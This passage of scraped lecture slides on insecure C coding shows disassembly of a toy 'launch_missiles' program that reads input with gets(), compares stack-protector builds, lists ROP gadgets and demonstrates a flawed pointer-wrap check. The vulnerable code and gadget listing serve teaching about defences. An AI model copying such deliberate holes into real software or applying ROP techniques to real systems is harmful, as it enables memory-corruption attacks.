![Page 170: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/170.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
![Page 171: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/171.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
A "magic" value is put on stack in the preamble for the function. This magic value is then checked again before the function returns to the caller. This sometimes called a stack canary.
![Page 172: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/172.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
![Page 173: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/173.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
Notice also that the variables have been rearranged in memory so that it is more difficult to overwrite them through a stack overflow in the response buffer.
![Page 174: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/174.jpg)
08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret
080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt>
804853f leave 8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
Notice also that the variables have been rearranged in memory so that it is more difficult to overwrite them through a stack overflow in the response buffer.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)"magic number" (4 byte)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 175: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/175.jpg)
![Page 176: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/176.jpg)
PAE/NX, Stack Protectors, ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit
technique called Return-oriented Programming that is able to buypass basically
every defence...
![Page 177: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/177.jpg)
$ od -An -x ./launch...0006 0000 0018 0000 0004 0000 0014 00000003 0000 4e47 0055 245b fe3c 81c6 d16a0cca b71a 27d0 7b1f b5ab 697f 0002 000004a0 ff08 c9d2 89c3 8df6 27bc 0000 0000...3d80 a030 0804 7500 5513 e589 ec83 e808ff7c ffff 05c6 a030 0804 c901 c3f3 906610a1 049f 8508 74c0 b81f 0000 0000 c0851674 8955 83e5 18ec 04c7 1024 049f ff08c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589ec83 8b18 0845 4489 0424 04c7 7024 0486...e808 fe8a ffff c3c9 8955 83e5 38ec a1650014 0000 4589 31f4 c7c0 e845 0002 000045c6 00e7 04c7 8724 0486 e808 fe60 ffff458d 89ec 2404 65e8 fffe c7ff 2444 9004...0486 8d08 ec45 0489 e824 fe32 ffff c0850475 45c6 01e7 7d80 00e7 1774 04c7 97240486 e808 fe58 ffff 458b 89e8 2404 7ae8...
PAE/NX, Stack Protectors, ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit
technique called Return-oriented Programming that is able to buypass basically
every defence...
![Page 178: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/178.jpg)
$ od -An -x ./launch...0006 0000 0018 0000 0004 0000 0014 00000003 0000 4e47 0055 245b fe3c 81c6 d16a0cca b71a 27d0 7b1f b5ab 697f 0002 000004a0 ff08 c9d2 89c3 8df6 27bc 0000 0000...3d80 a030 0804 7500 5513 e589 ec83 e808ff7c ffff 05c6 a030 0804 c901 c3f3 906610a1 049f 8508 74c0 b81f 0000 0000 c0851674 8955 83e5 18ec 04c7 1024 049f ff08c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589ec83 8b18 0845 4489 0424 04c7 7024 0486...e808 fe8a ffff c3c9 8955 83e5 38ec a1650014 0000 4589 31f4 c7c0 e845 0002 000045c6 00e7 04c7 8724 0486 e808 fe60 ffff458d 89ec 2404 65e8 fffe c7ff 2444 9004...0486 8d08 ec45 0489 e824 fe32 ffff c0850475 45c6 01e7 7d80 00e7 1774 04c7 97240486 e808 fe58 ffff 458b 89e8 2404 7ae8...
$ python ROPgadget.py --binary ./launch --depth 4...0x080487eb : adc al, 0x41 ; ret0x08048464 : add al, 8 ; call eax0x080484a1 : add al, 8 ; call edx0x08048466 : call eax0x080484a3 : call edx0x08048485 : clc ; jne 0x804848c ; ret0x08048515 : dec ecx ; ret0x080487ec : inc ecx ; ret0x0804844d : ja 0x8048452 ; ret0x08048486 : jne 0x804848b ; ret0x080484ec : lahf ; add al, 8 ; call eax0x08048468 : leave ; ret0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret0x08048430 : mov ebx, dword ptr [esp] ; ret0x0804863f : pop ebp ; ret0x08048379 : pop ebx ; ret0x0804863e : pop edi ; pop ebp ; ret0x0804863d : pop esi ; pop edi ; pop ebp ; ret0x080487ea : push cs ; adc al, 0x41 ; ret0x0804844c : push es ; ja 0x8048453 ; ret...
PAE/NX, Stack Protectors, ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit
technique called Return-oriented Programming that is able to buypass basically
every defence...
![Page 179: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/179.jpg)
$ od -An -x ./launch...0006 0000 0018 0000 0004 0000 0014 00000003 0000 4e47 0055 245b fe3c 81c6 d16a0cca b71a 27d0 7b1f b5ab 697f 0002 000004a0 ff08 c9d2 89c3 8df6 27bc 0000 0000...3d80 a030 0804 7500 5513 e589 ec83 e808ff7c ffff 05c6 a030 0804 c901 c3f3 906610a1 049f 8508 74c0 b81f 0000 0000 c0851674 8955 83e5 18ec 04c7 1024 049f ff08c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589ec83 8b18 0845 4489 0424 04c7 7024 0486...e808 fe8a ffff c3c9 8955 83e5 38ec a1650014 0000 4589 31f4 c7c0 e845 0002 000045c6 00e7 04c7 8724 0486 e808 fe60 ffff458d 89ec 2404 65e8 fffe c7ff 2444 9004...0486 8d08 ec45 0489 e824 fe32 ffff c0850475 45c6 01e7 7d80 00e7 1774 04c7 97240486 e808 fe58 ffff 458b 89e8 2404 7ae8...
$ python ROPgadget.py --binary ./launch --depth 4...0x080487eb : adc al, 0x41 ; ret0x08048464 : add al, 8 ; call eax0x080484a1 : add al, 8 ; call edx0x08048466 : call eax0x080484a3 : call edx0x08048485 : clc ; jne 0x804848c ; ret0x08048515 : dec ecx ; ret0x080487ec : inc ecx ; ret0x0804844d : ja 0x8048452 ; ret0x08048486 : jne 0x804848b ; ret0x080484ec : lahf ; add al, 8 ; call eax0x08048468 : leave ; ret0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret0x08048430 : mov ebx, dword ptr [esp] ; ret0x0804863f : pop ebp ; ret0x08048379 : pop ebx ; ret0x0804863e : pop edi ; pop ebp ; ret0x0804863d : pop esi ; pop edi ; pop ebp ; ret0x080487ea : push cs ; adc al, 0x41 ; ret0x0804844c : push es ; ja 0x8048453 ; ret...
PAE/NX, Stack Protectors, ASLR and similar techniques certainly make it more difficult to hack into a system, but there is a very powerful exploit
technique called Return-oriented Programming that is able to buypass basically
every defence...
![Page 180: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/180.jpg)
further explanations in http://pdos.csail.mit.edu/papers/stack:sosp13.pdf
Where is my code?pointer overflow example
![Page 181: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/181.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
![Page 182: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/182.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Here is a function that takes a pointer, and offset, a pointer to the end of the buffer
(one past the last element), and a value to be poked into memory.
![Page 183: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/183.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
This is an out-of-bounds guard
![Page 184: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/184.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
This is an often seen "idiom" to check for very large pointer offsets.
![Page 185: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/185.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
and here it should be safe to do something with the pointer and offset
![Page 186: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/186.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
and here it should be safe to do something with the pointer and offset
so let's try it with some big values
![Page 187: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/187.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
![Page 188: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/188.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 189: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/189.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.out
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 190: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/190.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 191: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/191.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 192: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/192.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 193: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/193.jpg)
